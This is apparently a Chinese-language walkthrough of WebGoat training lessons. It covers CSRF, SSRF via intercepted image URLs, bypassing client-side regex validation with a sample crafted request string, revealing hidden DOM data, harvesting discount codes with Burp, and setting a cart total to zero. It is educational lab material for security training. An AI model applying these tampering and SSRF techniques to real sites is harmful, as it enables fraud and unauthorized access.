还记得一开始的here网站中,就提到了这个“=”号,按理说“=”应该被屏蔽了,可能只限于xml吧
① 在value添加内容
② 再次用浏览器测试
终于真相大白了,原来在name属性和value属性之间在经过解析后会自动添加“=”号。我们构造一下格式就可以了
(3)第三次
1)将name和value属性的双引号换成单引号
2)将name属性末尾的"(表示‘”’)和}(表示‘}’)移到value属性值末尾
像这样:
3)用浏览器测试得:获得随机字符串
(4)输入随机字符串,完成
根据题意,在已登录账户的情况下,再登录新账户。即一台电脑上浏览同一个网站同时登录多账户(攻击者的账户会隐藏起来)
(1)本次测试的浏览器登录账户为xxxyyy
(2)开启新的浏览器(这里打开IE)访问WebGoat
(3)新浏览器创建账号并登录
(4)csrf-xxxyyy账号点击“Solved!”按钮,完成
服务器端请求伪造(SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
根据题意,显示Jerry的图片
(1)点击按钮查看效果
返回一张tom的图片
(2)拦截发送的请求,修改为jerry
(3)发送请求,查看页面变化
根据题意,改变请求让服务器去获取http://ifconfig.pro的信息(该网站似乎不可用)
(1)点击按钮,查看效果
出来一张cat图片
(2)拦截请求,修改url
(3)发送,完成
站点已经关闭,没有信息可以读取
翻译:
介绍如何绕过前端限制,略
根据题意,修改请求内容
(1)不按HTML要求修改HTTP请求
根据题意,修改请求中的字段内容绕过正则表达式
举例:
field1=ab&field2=a123a&field3=abc+1,23+ABC&field4=one123&field5=01101a&field6=90210-1111aaa&field7=301-6yyy04-4882&error=0
检查Response查看无权访问的信息
根据题意,找到被隐藏的员工信息
(1)F12查看器,查看隐藏元素
首先找到一条写着“hiddenEmployeeRecords”的隐藏元素,但没有内容。
(2)查看选项中其他的员工信息
在使用一次表单后,隐藏元素出现了隐藏内容。
(3)Neville Bartholomew薪资45万
根据题意,如果有内部CHECKOUT CODE,就可以免费购买。
(1)首先查看HTML是否有隐藏元素
有隐藏,但图中注释部分的code不能免费购买。
(2)寻找特定响应
考虑到CHECKOUT CODE是前端校验的,所以server必然会响应一个CODE列表回来。
在页面输入框填入绿色注释CODE,不拦截
(3)查看Burp的Proxy -> HTTP history项
①先右键清空历史
②点击“Buy”按钮,并查看history的最顶部是否有特定响应
③如果只有购买请求,可以对CODE适当修改,再发送
经过多次请求发送,出现了服务端特定响应
(4)删除URL参数,重新发送获取列表
右键发送到Repeater
删除掉参数webgoat123
发送请求,获得响应
(5)使用免费CODE
利用浏览器篡改数据
根据题意篡改购物车内容
(1)拦截购买请求
将价格Total更改为0
缓解措施:不要相信任何client发送的数据,server必须自己独立做校验。